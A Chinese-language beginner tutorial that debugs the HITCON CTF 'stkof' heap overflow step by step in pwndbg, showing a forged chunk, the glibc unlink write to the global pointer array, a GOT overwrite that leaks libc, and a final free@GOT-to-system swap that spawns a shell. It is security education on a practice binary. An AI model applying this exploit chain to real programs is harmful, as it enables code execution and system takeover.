新手向:手把手调试HITCON stkof堆溢出,用GDB一步步理解unlink合并过程
从零实战用GDB可视化拆解HITCON stkof堆溢出中的unlink魔法第一次接触堆漏洞利用时看着那些抽象的unlink操作描述我总觉得自己在看魔法书——直到亲手在GDB中看到内存数据像积木一样被重新排列。本文将以HITCON CTF的经典题目stkof为例带你用调试器触摸堆管理的每一个字节变化。我们不会直接给出最终exp而是聚焦于如何在pwndbg中观察每个关键步骤的内存状态真正理解为什么伪造的chunk能欺骗glibc的分配器。1. 实验环境与目标程序分析在开始堆风水操作前我们需要像外科医生熟悉手术器械一样了解目标程序。stkof这个二进制文件提供了三个基础功能allocate(size)分配指定大小的堆块返回索引号fill(index, size, content)向指定索引的堆块写入内容free(index)释放指定索引的堆块用checksec检查保护机制会看到$ checksec stkof [*] /path/to/stkof Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)关键点在于Partial RELRO和No PIE这意味着我们可以修改GOT表且地址固定不变。程序使用一个全局数组在0x602140处保存每个堆块的指针这将成为我们的攻击跳板。提示在真实调试时建议先运行程序并随意操作几次菜单用vmmap命令观察堆区域的初始状态这对后续理解内存布局至关重要。2. 堆内存的初始布局艺术我们先分配四个chunk作为实验材料alloc(0x30) # chunk1 alloc(0x30) # chunk2 alloc(0x80) # chunk3 alloc(0x30) # chunk4用pwndbg的heap命令查看会看到类似这样的结构Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x1011 # 主分配区 Allocated chunk | PREV_INUSE Addr: 0x555555758010 Size: 0x31 # chunk1 Allocated chunk | PREV_INUSE Addr: 0x555555758040 Size: 0x31 # chunk2 Allocated chunk | PREV_INUSE Addr: 0x555555758070 Size: 0x91 # chunk3 Allocated chunk | PREV_INUSE Addr: 0x555555758100 Size: 0x31 # chunk4 Top chunk | PREV_INUSE Addr: 0x555555758130 Size: 0x20ed1特别注意chunk3的大小0x80实际分配0x90被设计为非fastbin大小这是为了后续触发unlink合并操作。此时全局指针数组内容如下0x602140: 0x0000000000000000 0x0000555555758020 # chunk1_ptr 0x602150: 0x0000555555758040 0x0000555555758070 # chunk2_ptr, chunk3_ptr 0x602160: 0x0000555555758100 0x0000000000000000 # chunk4_ptr3. 堆溢出与chunk伪造实战程序的致命漏洞在于fill函数允许向任意chunk写入任意长度的数据。通过向chunk2写入超长内容我们可以覆盖chunk3的元数据target 0x602140 0x10 # 指向chunk2_ptr的地址 fd target - 0x18 bk target - 0x10 payload p64(0) p64(0x30) # 伪造的prev_size和size payload p64(fd) p64(bk) # 伪造的fd和bk指针 payload bA*0x10 # 填充 payload p64(0x30) p64(0x90) # 覆盖chunk3的prev_size和size fill(2, payload)执行后用x/20gx chunk2_addr查看内存会看到精心构造的假chunk0x555555758040: 0x0000000000000000 0x0000000000000031 # chunk2头 0x555555758050: 0x0000000000000000 0x0000000000000030 # 伪造的chunk 0x555555758060: 0x0000000000602128 0x0000000000602130 # fd/bk指针 0x555555758070: 0x4141414141414141 0x4141414141414141 # 填充数据 0x555555758080: 0x0000000000000030 0x0000000000000090 # chunk3头被覆盖这个布局的精妙之处在于伪造了一个已释放的0x30大小chunk其fd/bk指针指向全局数组附近修改了chunk3的prev_size和PREV_INUSE位4. unlink操作的现场解剖当我们执行free(3)时glibc会检查前一个chunk是否空闲通过PREV_INUSE位发现前一个chunk我们伪造的看起来是空闲的于是触发unlink合并操作。unlink宏的核心逻辑是#define unlink(P, BK, FD) { FD P-fd; BK P-bk; FD-bk BK; BK-fd FD; }在我们的伪造场景中P-fd指向0x602128即target-0x18P-bk指向0x602130即target-0x10这个操作实际上会执行*(0x602128 0x18) 0x602130 *(0x602130 0x10) 0x602128最终结果是chunk2_ptr被修改为0x602140 - 0x18。通过再次fill chunk2我们就能实现任意地址写# 修改chunk1_ptr为freegot, chunk2_ptr为putsgot payload bA*0x10 p64(elf.got[free]) p64(elf.got[puts]) fill(2, payload) # 将freegot改为putsplt fill(1, p64(elf.plt[puts]))此刻调用free(2)实际上会执行puts(putsgot)泄露libc地址。这是利用链中的关键转折点。5. 从信息泄露到shell获取获得libc地址后剩下的就是标准操作# 计算system地址 libc_base puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system] # 修改freegot为system地址 fill(1, p64(system_addr)) # 在chunk4写入/bin/sh并free它 fill(4, b/bin/sh\x00) free(4) # 实际执行system(/bin/sh)整个过程就像在内存中玩俄罗斯方块——精确控制每个方块的落点当最后一块落下时整个防御体系就会消融留下一个闪亮的shell。注意实际调试时可能会遇到libc版本差异问题建议使用题目提供的libc或通过偏移计算适配本地环境。多使用search -h命令快速定位关键符号地址。这种unlink技术的精妙之处在于它利用了glibc对堆块一致性的信任。当我们亲手在GDB中看到指针如多米诺骨牌般接连倒下时才能真正理解为什么安全研究者常说堆分配器是漏洞的宝库。